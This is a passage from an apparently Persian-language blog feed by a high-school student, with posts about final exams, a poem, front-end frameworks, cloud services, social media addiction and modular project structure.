ضیق وقت بودم به خاطر همین خواستم تو گوگل دنبال جزوه خلاصه بگردم که دیدم اکثر جزوه ها از خود کتاب طولانی تره. اینجا بود که آرزو کردم ای کاش خلاصه نویسی فصل 2 و 3 رو هم زمان با تدریس معلم انجام داده بودم ولی از اونجایی که دیگه امید و آرزو سودی به حالم نداشت مجبور شدم به این خفّت تن بدم و کل کتاب رو واو به واو خودم بخونم و نکته هاشو در بیارم.اینم خلاصه رویداد ها:دوشنبه 1 خرداد: استراحت مطلق. که واقعا خیلی اشتباه و بی موقع بود.سه شنبه 2 خرداد: برنامه ام این بود که یک روز رو استراحت مطلق کنم و عوضش سه شنبه از صبح زود ساعت 6 تا نصف شب شیمی بخونم. تخمین می زدم که اینطوری بشه کل شیمی رو جمعش کرد ولی حدسم به شدت اشتباه از آب دراومد. مجبور شدم حتی شب رو بیدار بمونم که بتونم کار رو جمع کنم. کل شب به اندازه 3 ساعت و نیم خوابیدم ولی در عوض یه دور تونستم کتاب رو کامل بخونم.سرجمع مطالعه: حدود 18 ساعتپ.ن :اگر می خواهید بدونید که چه سوتی بود، قضیه اینه که یکی از سوالا دو بخش داشته ولی من فقط بخش اولش رو جواب دادم با اینکه بخش دومش رو هم بلد بودم اما چون صورت سوال رو کامل نخوندم ازش رد شدم و تر زدم.جالبش اینه که این سوتی، یعنی «ندیدن یک یا چند سوال» برام تا الان 3 بار اتفاق افتاده. دو بار سر امتحانات شیمی و یک بار هم سر امتحان هندسه. هر بار هم به خودم قول داده بودم که دیگه تکرارش نکنم. ای دل غافل...امتحان زبانI&#x27;m pretty good at English. I just took a brief look at the book an hour before the exam and aced the paper... Since nothing special happened, we shall skip this part and move on.Estimated score: 20/20امتحان حسابانیکی از درس هایی که می ترسیدم توش نتونم نمره بالای 18 بگیرم درس حسابان بود. من کلا از اول سال تا قبل امتحانات خرداد 3 بار امتحان حسابان داده بودم. که نمره هام به ترتیب 16، 17 و 19.5 شده بود (البته خوب امتحان آخری نسبت به بقیه آسون تر بود و اینکه خودمم بیشتر خونده بودم)اینم خلاصه وقایعچهارشنبه 3 خرداد: استراحت مطلق + مادربزرگم اینا از شهرستان مهمونمون شدن (تا جمعه موندن)پنج شنبه 4 خرداد: از ساعت 10 شب شروع کردم به خوندنجمعه 5 خرداد: جمع کردن فصل 1 و فصل 2شنبه 6 خرداد: جمع کردن باقی مانده فصل 2 و فصل 3 به علاوه حل سوالیکشنبه 7 خرداد: جمع کردن فصل 4 و فصل 5 + حل سوالآخرش هم که سوال های امتحان آبکی بود ? و واقعا اینقدر مطالعه نیاز نداشت ولی من جدی گرفته بودم.سرجمع مطالعه: واقعا حسابش از دستم در رفت، ولی فکر کنم از 20 ساعت بیشتر شده باشهامتحان عربیکتاب عربی یازدهم نسبتا کتاب سبکیه از لحاظ قواعد ولی یکم کلمه زیاد داره. امسال در هفته یک بار زنگ عربی داشتیم اون هم چهارشنبه ها که یادمه چندین هفته دقیقا روز های چهارشنبه به تعطیلات خورد و درحالی که از اول سال تا حالا کلاس بغلی 15 تا یا 16 جلسه با این دبیر داشته ولی ما تعداد جلساتمون از 10 کمتر بوده.استاد محمدی - دبیر عربی مونچیز خاصی ندارم راجع به امتحان عربی بگم ولی از امتحانایی بود که راحت جمع شد. دبیر مون هم زیاد گیر نمی داد بهمون در طول سال. آسوده بودیم  ?آمار و احتمال ⚄⚄⚄تجربه بهم میگه همه با این درس مشکل دارن، مخصوصا قسمت احتمال که واقعا چیز سنگینیه. خلاصه اینکه زیاد تو این درس عملکرد خوبی نداشتم از اول سال تا حالا چون جزو درس هایی هست که سوالاش قابل پیش بینی نیست. واقعا درکش مغز آدم رو به چالش می کشه.به نظرم، با توجه به عملکرد قبلیم امتحان رو خوب دادم هرچند نوزده و بیست نمیشم ... هعی...چهارشنبه 10 خرداد: استراحت مطلق، مثل همیشهپنجشنبه 11 خرداد: حل سوال از احتمال و مرور جزوه هاجمعه 12 خرداد: حل سوال از فصل های دیگه و مرور جزوه هاشونشنبه 13 خرداد: مرور اجمالی و بعد هم جلسه امتحانخلاصه اینکه توی این درس نیاز به تلاش خیلی بیشتر دارم.1 = !0سر جلسه امتحان، یکی از سوالای چهارگزینه ای رو چون بلد نبودم شانسی توی پاسخنامه ام جواب دادم. آخر جلسه، دقیقا 2 ثانیه قبل از اینکه دست مراقب ورقه من رو بقاپه (یه جوری ورقه رو از زیر دستم کشید نزدیک بود پاره بشه) با خودکارم یه دندونه سر 2 گذاشتم و تبدیلش کردم به 3، که بعدش فهمیدم همون 2 گزینهء درست بوده. واقعا اینقدر فشار خوردم که حد و حصر نداره.امتحان فیزیکبرای این یکی خیلی خودم رو آماده کرده بودم. خلاصه نویسی هام از فرمول ها آماده بود و مرور حفظیاتش هم زیاد کاری نداشت. جزوه معلممون برای درس فیزیک کافی بود یعنی در واقع از اول سال تا به الان اصلا یک بار هم کتاب فیزیک رو حتی باز نکرده ام. نه صفحه ای از کتاب فیزیک تا خورده و نه حتی با مداد روش چیزی نوشته شده. منگنه و جلد هم نشده عین کتاب نو مونده تو کمدم.کل فرمول های فیزیک 2 در دو صفحه خلاصه (حفظیات رو فاکتور گرفتم)برای این امتحان سه روز کامل وقت داشتم. امیدوارم که نمره خوبی گرفته باشم در کل.بعد خوردن سیب تو سرش می تونست بخوره سیب رو یا بزاره تو فریزر یا اصلا باهاش سالاد میوه درست کنه ولی ...امتحان هندسههندسه هم یکی از درس هایی بود که امسال خیلی باهاش مشکل داشتم. بعضی از سوال های هندسه واقعا چالشی هستند. اصلا بزارید یه سوال به عنوان چالش بزارم. این یکی از سوالای امتحان ترم اولمون بود که قریب به 100% بچه ها نتونستن حلش کنن سر جلسه امتحان: (البته از بچه های کلاس بغلی مون شنیده ام که معلم خودش هم سر حل این گیر کرده ?)اگه جواب رو به دست آوردید بفرستید برام تو کامنت ها ?خلاصه مطالعه ام برای امتحان این درس برای امتحانات پایانی ترم دوم این طوری بود:یکشنبه  21 خرداد: از ساعت 6 عصر شروع کردم خوندن و به زور ساعت 2 شب جمع شد.دوشنبه 22 خرداد: صبح پا شدم و یه نمونه سوال سایت قلمچی دانلود کردم و شروع کردم حل کردن و دیدم که تقریبا بلد هستم. با اطمینان به نفس نسبتا بالایی رفتم سر جلسه امتحان. طوری که بعد از خروج از سر جلسه احساس 20 شدن می کردم ولی بعد که با بقیه چک کردم جوابا رو کم کم 20 آب رفت، شد 19.5، بعد شد 19، بعد شد 18 ... (واقعا آدم احساس افسردگی میگیره، می دونید که چی میگم ...؟)سرجمع مطالعه: حدود 7 ساعتامتحان تاریخ معاصر - آخرین امتحانکتاب تاریخ معاصر کلا کتابیه که اگه دبیر بخواد حسابی می تونه باهاش دانش آموزا رو اذیت کنه. از بقیه مدارس خبر ندارم ولی امسال دبیر تاریخ مون کلا آدم با درکی بود. می دونست تاریخ جزو دروس تخصصی ما نیست به خاطر همینم زیاد بهمون گیر نمی داد. کلا هر زنگ سوالای نمونه ای که آخر هر درس می اومد رو می پرسید ما هم زنگ قبلش (که زنگ ورزشمون بود) یه ربع می نشستیم و همون سوالا رو می خوندیم. با همین روال زنگ های تاریخ اوکی سپری  می شد.آخرش هم از اول تا آخر کتاب 29 تا از سوالای نمونه رو برامون مشخص کرد و همون ها رو خوندیم و خیلی easy امتحان تاریخ هم از سر گذشت.سرجمع مطالعه: حدود 4 ساعت، اونم دقیقا 4 ساعت قبل از رفتن سر جلسه امتحاناین نیز گذشتاین سال تحصیلی هم با تمام سختی هایی که داشت گذشت. زندگی واقعا خیلی عجیبه. یادم میاد وقتی کلاس اول بودم، کلاس ششمی های مدرسه مون رو نگاه می کردم که میومدن بالای سرمون مبصری و ما هم هیچ کاری در برابرشون نمی تونستیم انجام بدیم. با کوچک ترین شلوغ کاری ما رو مثل بچه بغلمون می کردن می بردنمون بیرون ? (البته الان تا جایی که خبر دارم توی اکثر مدارس شیفت کلاس اول تا سوم و چهارم تا ششم از هم جدا شده). همیشه حسرت می خوردم که کی قراره من هم یه کلاس ششمی بشم!؟ اون زمان مسیر خیلی طولانی به نظر میومد ولی زمان مثل برق گذشت و الان 5 ساله کلاس ششمی بودن رو رد کرده ام و 11 سال از 12 سال تحصیلاتم رو طی کرده ام. کمتر از یک سال با دیپلم و کنکور فاصله دارم و واقعیتش رو بخواهید خیلی ناراحتم که قراره از فضای دبیرستان بیام بیرون و کم کم وارد زندگی بزرگسالی بشم. توی این دو سال که یک دبیرستانی بوده ام با افراد خیلی زیادی آشنا شده ام با علایق و اهداف مختلف. بسکتبالیست، کشتی‌گیر، برنامه نویس، علاقه مند الکترونیک و برق کار و ...زمانی که همه بچه اند و سن شون پایینه، روزمرگی و اهداف مشابهی دارند ولی با بالاتر رفتن سن، هر فردی بین چند راهی های بزرگ زندگیش قرار میگیره و باید انتخاب کنه کدوم سمت می خواد بره. توی دبیرستان تقریبا این تفاوت ها نمایان میشه. وقتی با افراد از نزدیک صحبت می کنید متوجه می شید دور و برتون افراد خفنی وجود داشته اند که هر کدومشون توی این 17 سال زندگی شون یه سری اهدافی رو دنبال می کرده اند و برای خودشون دست آورد هایی در این راه کسب کرده اند که قابل تحسینه.خلاصه که در این دو سال خیلی اتفاق ها افتاد و خیلی چیز ها یاد گرفتم و تقریبا ایام خوش گذشت. کنکور در پیشه و منم برنامه های خودم رو دارم برای تابستون. به همه دبیرستانی هایی که این پست رو می خونن خدا قوت می گم و آرزوی موفقیت می کنم براشون، نه فقط تو کنکور بلکه در تمام ابعاد زندگی.در پناه حق!کاری از بچه های مدرسه، آخرین روز امحتان</description>
                <category>اشکان محمدی</category>
                <author>اشکان محمدی</author>
                <pubDate>Thu, 15 Jun 2023 10:21:13 +0330</pubDate>
            </item>
                    <item>
                <title>پس از شبگیر عابد ها، «اَدِرْ کَأسَاً و ناوِلْها»</title>
                <link>https://virgool.io/@mohammadiashkan1384/%D9%BE%D8%B3-%D8%A7%D8%B2-%D8%B4%D8%A8%DA%AF%DB%8C%D8%B1-%D8%B9%D8%A7%D8%A8%D8%AF-%D9%87%D8%A7-%D8%A7%D9%8E%D8%AF%D9%90%D8%B1%D9%92-%DA%A9%D9%8E%D8%A3%D8%B3%D9%8E%D8%A7%D9%8B-%D9%88-%D9%86%D8%A7%D9%88%D9%90%D9%84%D9%92%D9%87%D8%A7-fkuzvyunvcbf</link>
                <description>با هوش مصنوعی bingپس از شبگیر عابد ها، «اَدِرْ کَأسَاً و ناوِلْها»چه بیداری چو عاقل ها چه خُسپیدی چو جاهل هاچو حیرانم گهی رقصان و گه گریان و سردرگُمکه دنیا را چنین ماتم نبودست جمله در دل هاسر آغاز شب و روزم جهنم‌درّه‌ای تاریککه این سوزی که می جوشد زدست آتش به منزل هادگر زورم به دریای غضبناکت نمی چربدپناهگاهم نبودست جز دلِ آرامِ ساحل هابیاور مژدهء نیکی و جانم از بدن بَرکَنکه سنگین است مرا باری هزاران خرمن از گِل ها- اشکان محمدی</description>
                <category>اشکان محمدی</category>
                <author>اشکان محمدی</author>
                <pubDate>Sat, 03 Jun 2023 14:46:23 +0330</pubDate>
            </item>
                    <item>
                <title>فریمورکی بهتر از react ؟؟</title>
                <link>https://virgool.io/@mohammadiashkan1384/a-framework-better-than-react-tgy4jys9t4sq</link>
                <description>قضیه اینه که من همیشه از نحوه نوشتن کد های React متنفر بودم. کسانی که با React کار کرده اند می دونند که چقدر باید کد های طولانی و بی جهت بنویسیم فقط برای یه value binding ساده برای یک فرم! دنبال بهونه بودم از React فرار کنم و برم سمت یه فریمورکی که این همه boilerplate نداشته باشه. با یه سرچ اولیه به نظرم اومد که فریمورک های دیگه راه حل های بهتری برای پیاده سازی component logic دارند.اول از همه رفتم سراغ svelte js که ببینم جدیدا چه چیزایی بهش اضافه/ازش حذف شده. دیدم که api های stable ای داره و از یک سال پیش تا الان تغییرات آن چنانی نکرده که باعث بشه با نسخه های قبل ناسازگار باشه. و اینکه متوجه شدم یه فریمورک SSR به نام svelte kit هم بر پایه sapper توسعه داده شده که نسبت اون با svelte js مثل نسبت next js به react js هست. یعنی در واقع svelte kit خودش نوعی metaframework محسوب میشه. با دیدن document هاش امیدوار شدم و تصمیم گرفتم یه پروژه starter باهاش راه بندازم و باهاش ور برم ببینم چند چنده.از همون لحظه ای که تصمیم گرفتم از typescript استفاده کنم باگ ها شروع شد. هزار جور تنظیمات باید انجام بدی که یه Svg بتونی import کنی و استفاده کنی در حالی که next js همه این ها رو از قبل به صورت پیش فرض داره. هر چی هم path alias درست می کردم با typescript به مشکل می خورد در حالی که اصلا توی react من چنین مشکلی نداشتم.تا اینجا کمی کوتاه اومدم و گشتم دنبال ui library های svelte js . با کمی جست و جو svelte material ui رو پیدا کردم که به اختصار بهش میگن smui. حالا حدس بزنید نحوه استفاده از این کتابخانه چطوری بود؟؟؟باید خودت فایل های theme با فرمت scss رو از طریق خط فرمان generate کنیبعد باید خودت اونها رو کامپایل و به html لینک کنیهر گونه شخصی سازی رو باید از طریق css و سلکتور global: انجام بدی چون svelte نمی تونه استایل داخلی کمپوننت های smui رو دست کاری کنهبگذریم از اینکه به خاطر selector specificity خیلی بالایی که selector های داخلی کمپوننت ها داشتند اصلا نمی شد از طریق class استایل ها رو اعمال کنی. تازه وقتی هم می خواستی بری سراغ دستکاری کردن کلاس های داخلی مشکل این بود که اسم کلاس ها رو از کجا بیاری!!؟؟؟؟؟ (هی هربار باید پنجره inspector رو باز می کردم که بتونم اسم کلاس های داخلی رو ببینم که این روش هم به درد نمی خورد چون اسمشون ممکنه توی نسخه های بعد عوض شه و استایل ها به فنا بره)واقعا به اینجا که رسیدم دلم برای nextui تنگ شد. هر شخصی سازی به راحتی با پراپرتی css انجام میشد و از همونجا به تمام متغیر ها و color pallet های تم دسترسی داشتی. هیچ کدوم از این بازی های مسخره هم نیاز نبود. selector specificity هم دیگه مشکلی نبود چون این رو خود styled-components هندل می کرد.از svelte ناامید شدم. پوسته قشنگی داشت و واقعا هم component logic رو به شیوهء بهتری نسبت به react اداره می کرد اما تو بحث styling اصلا DX رو در نظر نگرفته بود. تازه با typescript هم مشکل داشت.حالا نوبت vue بود.  ولی متاسفانه با دیدن ورژن جدیدش (v3) با دو دست دریغ به سرم کوبیدم. واقعا داشتم کلافه می شدم. نسخه جدید vue کاملا یک کپی مزخرف از hook های react بود که اسمش رو گذاشته بودن composition api.همین که اسم یه سری پکیج رو سرچ کردم دیدم اکثرا یه پکیج جدا دارن برای v2 و یکی دیگه برای v3. بعضی ها هم که کلا از قافله جا مونده بودن. البته وقتی میزان تفاوت این دو ورژن رو با هم مقایسه کنید شما هم به این نتیجه می رسید که بایدم این طور باشه. وقتی توی یه ورژن پیاز تبدیل به تربچه میشه دیگه نباید انتظار migrate کردن از ورژن قدیمی رو داشتاین تناقض ها رو که دیدم فهمیدم که اصلا vue قابل اعتماد نیست و api های stable ای نداره.پایتون وقتی از ورژن 2 به 3 اومد تنها تفاوتش توی عبارت print بود ?? ... ولی vue ... بگذریم.خلاصه که دور هامو زدم و دوباره برگشتم به همون ری اکت قدیمی خودمون. پیچیده، مزخرف، تنفربرانگیز ولی کارراه‌بنداز، سرراست و پایدار.</description>
                <category>اشکان محمدی</category>
                <author>اشکان محمدی</author>
                <pubDate>Mon, 29 May 2023 22:13:25 +0330</pubDate>
            </item>
                    <item>
                <title>توانایی های سرویس های ابری</title>
                <link>https://virgool.io/@mohammadiashkan1384/cloud-services-and-their-usage-ydkp0o3100oa</link>
                <description>امروزه با گسترش زیرساخت های سخت افزاری و به وجود آمدن شرکت های پردازش ابری، دیگر نیازی به نگرانی راجع به زیرساخت های اپلیکیشن های وب نیست وخوشبختانه سرویس های ابری (cloud services)، بسیاری از کار هایی که مربوط به مدیریت زیرساخت (infrastructure) می باشد را خودشان انجام می دهندبرای مثال، فرض کنید که می خواهید یک وب سایت استریم ویدئو راه اندازی کنید، یا اینکه عضو یک تیم تحقیقاتی هستید که در زمینه هوش مصنوعی مشغول کار هستند و گاه به گاه نیاز به کامپیوتر های قدرتمندی دارید که توان انجام پردازشات سنگین مربوط به آزمون و خطای  مدل های هوش مصنوعی را داشته باشند.در مثال وبسایت استریم ویدئو اگر تعداد کاربران پایین باشد مشکلی نیست ولی اگر نمودار مصرف جهشی تیز داشته باشد و زیرساخت سرور شما توانایی جمع و جور کردن موقعیت را نداشته باشد سرویس تان کاملا از دسترس خارج خواهد شد. اگر هم بخواهید یک سرور قدرتمند جور کنید در طولانی مدت کلی هزینه گزاف به بار می آورید چون ممکن است در ساعاتی از روز استفاده از سرویس پایین بیاید و منابع سخت افزاری تان بلااستفاده خاک بخورد. این درحالی است که حتی اگر استفاده هم نشوند، شما به هر حال باید برای آنها هزینه بپردازید.در ساختن اپلیکیشن هایی که نیازمند قدرت پردازش بالایی هستند هزار جور نگرانی و چالش وجود دارد که سرویس های پردازش ابری آنها را برعهده می گیرند و هم از هزینه های مالی، مهندسی و زمانی شما می کاهند.در ادامه به توانایی های سرویس های ابری به طور خلاصه اشاره ای خواهیم داشت.ارائه دیتاسنتر های ابریاگر خودتان بخواهید یک دیتاسنتر راه بیندازید، این کار به سرمایه بسیار زیادی بستگی دارد چون شما باید هزینه مکان، سرور های دیتا، تامین برق و ... را بپردازید. و ما فقط داریم ابعاد سخت افزاری کار را برسی می کنیم در حالی که در بعد نرم افزار هم یک دیتاسنتر نیازمند مهندسی های بسیار پیچیده است که کار هرکسی نیست.سرویس های ابری به شما این امکان را می دهند که به میزان نامحدودی فایل و دیتا در آنها بارگزاری کنید و هزینه بسیار کمتری نسبت به راه اندازی دیتاسنتر دارد. برای مثال می شود سرویس S3 آمازون را نام برد که برای آپلود و ذخیره فایل های پرحجم از آن استفاده میشود. علاوه بر آن، سرور های آمازون می توانند فرایند دانلود فایل ها را بهینه سازی کنند و کپی فایل ها را به edge server هایی در سر تا سر نقاط جغرافیایی انتقال دهند تا کاربران هر منطقه فایل ها را از نزدیک ترین edge server به موقعیت جغرافیایی شان دریافت کنند.ارائه پلتفرم های پردازش ابریپلتفرم های پردازش ابری به شما این امکان را می دهند که با هزینه ای پایین تر از سخت افزار های پردازشی قدرتمند استفاده کنید. برای مثال سرویس Google Colab به پژوهشگران علوم داده و هوش مصنوعی این امکان را می دهد که از GPU های قدرتمند گوگل برای پردازش استفاده کنند. (تا جایی رایگان و از یک جایی به بعد باید به ازای میزان استفاده از منابع پول پرداخت کنید)همچنین به اشتراک گذاری نتایج و همکاری در نوشتن کد ها در محیط Google Colab آسان تر می باشد.میکروسرویس های ابریمیکروسرویس ها (microservice)، سرویس های ابری هستند که فرایند یک نرم افزار back-end را پیاده سازی کرده و با ارائه API های وب، به دیگر برنامه نویسان back-end این قابلیت را می دهند که برنامه های back-end شان را به این سرویس های متصل کنند.این کار باعث می شود که قسمت های معمولا تکراری توسعه نرم افزار (مثل احراز هویت و سرویس notification و ...) با سهولت و کیفیت بیشتری انجام شود و همچنین وقت برنامه نویسان را آزاد میگذارد تا روی قسمت های مهم تر اپلیکیشن شان کار کنند.مثلا سرویس OAuth قابلیت احراز هویت را به صورت یک سرویس ابری ارائه میدهد و انواع و اقسام امکانات از قبیل ثبت نام با گوگل و اپل آی دی و ... را نیز دارا می باشد. علاوه بر آن امنیت بسیار بالایی دارد و از این لحاظ قابل اتکا است.ارائه زیرساخت به عنوان سرویس (Infrastructure as Service)اپلیکیشن های وب به محیطی برای استقرار نیازدارند و چالش ها بعد از استقرار و شروع به کار اپلیکیشن تازه شروع می شوند:پایش سلامت کارکرد سرور و اپلیکیشناستقرار مستمر آپدیت ها روی سرورجمع آوری گزارش های خطا از سرویس هامدیریت ترافیک سرور و load balancingمدیریت cluster و replicaشبکه سازی و مدیریت microservice های داخلی اپلیکیشن back-endارائه CDN (برای وبلاگ ها و سایت های مبتنی بر محتوا) و cacheدفع حملات سایبری مبتنی بر زیرساخت مثل DDoS و ...پیاده سازی راه حل برای تمام این چالش ها کار بسیار پیچیده ای است اما تمام این ها را می توان به یک سرویس ابری سپرد مثل AWS سپرد و نفسی راحت از سر رفع مسئولیت کشیدمدل های مالی بهینه ترhttps://vrgl.ir/TbN0Wاکثر سرویس های ابری ساز و کار مالی خود را بر اصل pay as you go (من این طور ترجمه می کنم: به اندازه استفاده ات بپرداز) بنا می کنند و اغلب این امکان را دارند که به صورت اتوماتیک منابع سخت افزاری تخصیص داده شده به سرور های شما را متناسب با ترافیک سرور کم و زیاد کنند. اینطوری هیچ هزینه گزافی برای خرید سخت افزار نخواهید داد و هزینه ها متناسب با میزان واقعی مصرف شما خواهد بود.امیدوارم که این مقاله براتون مفید واقع شده باشه. تا پست بعدی در پناه حق.</description>
                <category>اشکان محمدی</category>
                <author>اشکان محمدی</author>
                <pubDate>Tue, 06 Dec 2022 19:51:42 +0330</pubDate>
            </item>
                    <item>
                <title>اعتیاد مجازی و سلطه رسانه</title>
                <link>https://virgool.io/@mohammadiashkan1384/addiction-to-social-media-and-how-it-all-started-d8xx1ajvqyle</link>
                <description>سال هاست که نقش اینترنت و رسانه در زندگی ما پررنگ شده است و به نحوی بسیاری از امورات روزانه ما از انجام کار های اداری و دفتری و خدماتی گرفته تا اطلاع از اخبار و ارتباط با دوستان و آشنایان از طریق این فضای مجازی صورت می گیرد.اما استفاده های بیش از اندازه و غیرمعمول از فضای مجازی (مخصوصا شبکه های اجتماعی) باعث بروز آفت هایی در عادات روزانه مان شده که در این مقاله قرار است با ریشه این آفات آشنا شویمالبته قبل از شروع باید خدمتتان عرض کنم که این مقاله مربوط به یک پروژه مدرسه ای است و عجله ای نوشته شده. اگر عیب و ایرادی در اطلاعات ارائه شده دیدید به من خبر بدهید تا درستش کنمجریان الکتریکی؛ تحویلی در زمینه ارتباطدستیابی انسان به پتانسیل الکتریکی، پیش‌زمینه تحولی عظیم را در راه های ارتباطی انسان ها ایجاد کرد. اولین بار، با ظهور دستگاه مورس، انسان ها توانستند اطلاعات را در مسافت های طولانی به صورت پالس های الکتریکی بین دو نقطه جا به جا کنند و این سیر تحول تا اواخر قرن بیستم به رشد و نمو خود ادامه داد و با ظهور گوشی های همراه مجهز به صفحه نمایش و اتصال اینترنت به نقطه انفجار خودش رسید. دست آورد های یک قرن اخیر تقریبا تمامی ابعاد زندگی انسان ها را تحت الشعاع قرار داد.شبکه های اجتماعی؛ پل ارتباط یا درهء اعتیاد؟ظهور رسانه های اجتماعی نوین در قرن بیست و یکم از 4 فوریه سال 2004 با آغاز به کار شرکتی به نام فیسبوک آغاز شد. البته تعداد قابل توجهی از پروژه های مشابه هم در آن سال ها راه اندازی شدند که در طولانی مدت توسط فیسبوک در تنگنا قرار گرفته و به حاشیه رانده شدند.در اوایلِ آغازِ کار فیسبوک، این شبکه اجتماعی صرفا مکانی برای ارتباط دانشجو های دانشگاه هاروارد بود ولی به سرعت در دانشگاه های دیگر نیز مورد استفاده قرار گرفت. آن زمان و بدون وجود گوشی های همراه، هیچ دلیلی برای مدام آنلاین بودن و چک کردن شبکه های اجتماعی وجود نداشت اما با فراگیر شدن گوشی های آیفون بیگ‌بنگی دیگر در فضای مجازی رقم خورد.گوشی های هوشمند آیفون، کاتالیزگری قوی در جریان سلطه رسانههمه چیز از آن کنفرانسی شروع شد که آقای استیوجابز (موئسس شرکت اپل) در سال 2007 ارائه داد. در این کنفرانس که به قصد بازاریابی برای گوشی های نوساخت آیفون بود، آقای استیوجابز، 3 ویژگی اصلی برای گوشی های آیفون برشمارده شد: استفاده از اینترنتتماشای فیلم و گوش دادن به موزیک با ایرپاد (قابلیت های چندرسانه ای یا همان multimedia)تماس تلفنیبا اینکه قبل از آیفون هم گوشی های هوشمند دیگری هم وارد بازار شده بودند، اما سرجمع، ویژگی های آیفون آن را نسبت به سایر رقیبان متمایز می کرد. تا جایی که حتی مجله نیویورک تایمز آن را به عنوان اختراع سال معرفی کرد.بعد ها با تکامل گوشی های آیفون و استفاده گستردهء عموم مردم از آن، همان گوشی ها تبدیل به دریچهء نفوذ اقتصاد مبتنی بر توجه (attention economy) در لحظه به لحظه زندگی مردم جهان شدند و سلطه رسانه ای را پی ریزی کردند.دکمه لایک، شاخص نوین تایید اجتماعیاولین بار، ایده دکمه لایک توسط شبکه اجتماعیFriendeed  پیاده سازی شد (این شبکه اجتماعی جزو همان پروژه هایی بود که به زباله دان تاریخ پیوست) و بعد فیسبوک در سال 2007 (تقریبا همزمان با عرضه انبوه آیفون) و بعد هم مابقی شبکه های اجتماعی مطرح همه دکمه لایک را در پلتفرم های خود پیاده سازی کردند.یکی از کارمندان شرکت فیسبوک به نام کتی چن که درگیر این پروژه بوده است در جواب به این سوال که علت به وجود آمدن دکمه لایک چه بود این طور بیان کرده است: «اکثر افراد در قسمت نظرات پست دوستانشان از عبارت های کلیشه ای مثل&quot;عالی بود&quot;، &quot;خیلی زیباست&quot; و ... استفاده می کردند و از آنجایی که قصد تمام این عبارات تایید کلی پست های دوستانشان بود، ما هم فکر کردیم چه بهتر که این همه اینها را در یک دکمه لایک و شمارنده خلاصه کنیم تا قسمت نظرات برای حرف های مهم تر خلوت بماند»نکته: این نقل قول کاملا دقیق نیست ولی سعی شده تا جای ممکن ایده اصلی بدون تحریف منتقل شوددکمه لایک علاوه بر اینکه مدت زمان صرف شده کمتری نسبت به تایپ کردن کامنت داشت، تبدیل به معیارِ جدیدی برای «تایید اجتماعی» شد. دسترسی مداوم به فضای آنلاین به لطف گوشی های هوشمند و دوز های خوش‌آیندِ دوپامینی که بر اثر «تایید اجتماعی» در مغز کاربران شبکه های مجازی ترشح می‌شد دست به دست هم دادند که هم تعداد دفعات و هم مدت زمان استفاده کاربران را افزایش دهند.تبلیغات هدفمند و اقتصاد مبتنی بر توجهعلی رغم ظاهر سادهء دکمه لایک، این دکمه کلید گشایش یکی از بزرگ ترین ظرفیت اقتصادی شبکه های اجتماعی شد. این قابلیت به مدیران شبکه های اجتماعی کمک کرد تا علایق کاربران خود را حدس بزنند و بر اساس آن کاربران را در گروه هایی هدفمند افرازبندی کنند.از این گروه‌بندی ها به عنوان مخاطب برای کمپین های تبلیغاتی استفاده های زیادی شد و حتی حرفه «بازاریابی دیجیتال» را پدید آورد. این نوع تبلیغات مخاطبین خاص و مستعد خرید را هدف قرار میداد و به همین دلیل هم کارایی و سود زیادی داشت. تبلیغات در شبکه های اجتماعی به مرور زمان بسیار رایج شد به طوری که «اقتصاد مبتنی بر توجه» را پدید آورد.هرچه قدر زمان استفاده کاربران یک شبکه اجتماعی بیشتر باشد، مدت بیشتری در معرض این نوع تبلیغات قرار می گیرند. به همین دلیل است که شبکه های اجتماعی با روش های مختلف روان‌شناختی برای تسخیر ذره ذرهء زمان آزاد شما می جنگند و این بردگیِ نوین را با شعار هایی مثل اینکه «با استفاده از شبکه های اجتماعی می توانیم بیشتر از قبل با هم در ارتباط باشیم» و ... توجیه می کنند.منابع- کتاب «مینیمالیسم دیجیتال» - اثر کال نیوپورت که اصلا ساختار محتوای اصلی پست تمام خلاصه ای از سرفصل های مرتبط این کتاب است- https://answerbook-ir.translate.goog/%D8%AA%D8%A7%D8%B1%DB%8C%D8%AE%DA%86%D9%87-%D9%81%DB%8C%D8%B3-%D8%A8%D9%88%DA%A9/?_x_tr_sl=fa&amp;amp;amp;_x_tr_tl=en&amp;amp;amp;_x_tr_hl=en&amp;amp;amp;_x_tr_pto=sc- https://applekhoreh.com/%D8%AA%D8%A7%D8%B1%DB%8C%D8%AE%DA%86%D9%87-%D8%A2%DB%8C%D9%81%D9%88%D9%86-%D8%A7%D9%BE%D9%84-%D8%AA%DA%A9%D8%A7%D9%85%D9%84-%D8%AA%D9%84%D9%81%D9%86-%D9%87%D9%88%D8%B4%D9%85%D9%86%D8%AF/</description>
                <category>اشکان محمدی</category>
                <author>اشکان محمدی</author>
                <pubDate>Mon, 05 Dec 2022 22:03:45 +0330</pubDate>
            </item>
                    <item>
                <title>برسی تاکتیک های پیاده سازی اپلیکیشن های ماژولار</title>
                <link>https://virgool.io/@mohammadiashkan1384/tips-to-better-design-modular-systems-gasmtdkvngmo</link>
                <description>طی سال های متمادی و از ماحصل تلاش های مهندس های نرم افزار، الگو هایی برای طراحی سیستم های نرم افزاری مقیاس پذیر (scalable) و قابل پشتیبانی/نگهداری/توسعه (maintainable) پدید اومد که قطعا از بعضی هاشون که خیلی معروف و رایج هستن شنیده اید، مثل MVC و MVVM و DDD و ...به طور کلی، چیزی که همه این معماری های مختلف با هم در اشتراک دارن، تقسیم پروژه به قسمت های کوچک تر هست. برخی به شکل لایه ای (layered) و برخی به شکل ماژولار (modular)تفاوت ساختار فولدر ها: Layered VS Modularدر تقسیم بندی ماژول ها، هدف اولویت بیشتری نسبت به وسیله دارد. یعنی در یک ساختار ماژولار، فایل های پروژه برحسب نوع کلاس ها/فایل ها چیده نمی شن، بلکه بر اساس هدف های مشترک، فایل های مربوط کنار هم قرار می گیرن و تشکیل ماژول می دهند.مثلا در یک پروژه ری اکت به جای اینکه ساختار پروژه رو این طوری بچینیم:src/
    components/
    hooks/
    contexts/
    services/
    ...عوضش به این شکل می چینیم:src/
    auth/
        state/
        user-login/
        route-protection/
    customer-survey/
    store/
        products/
        shopping-card/
        ...
    user-profile/
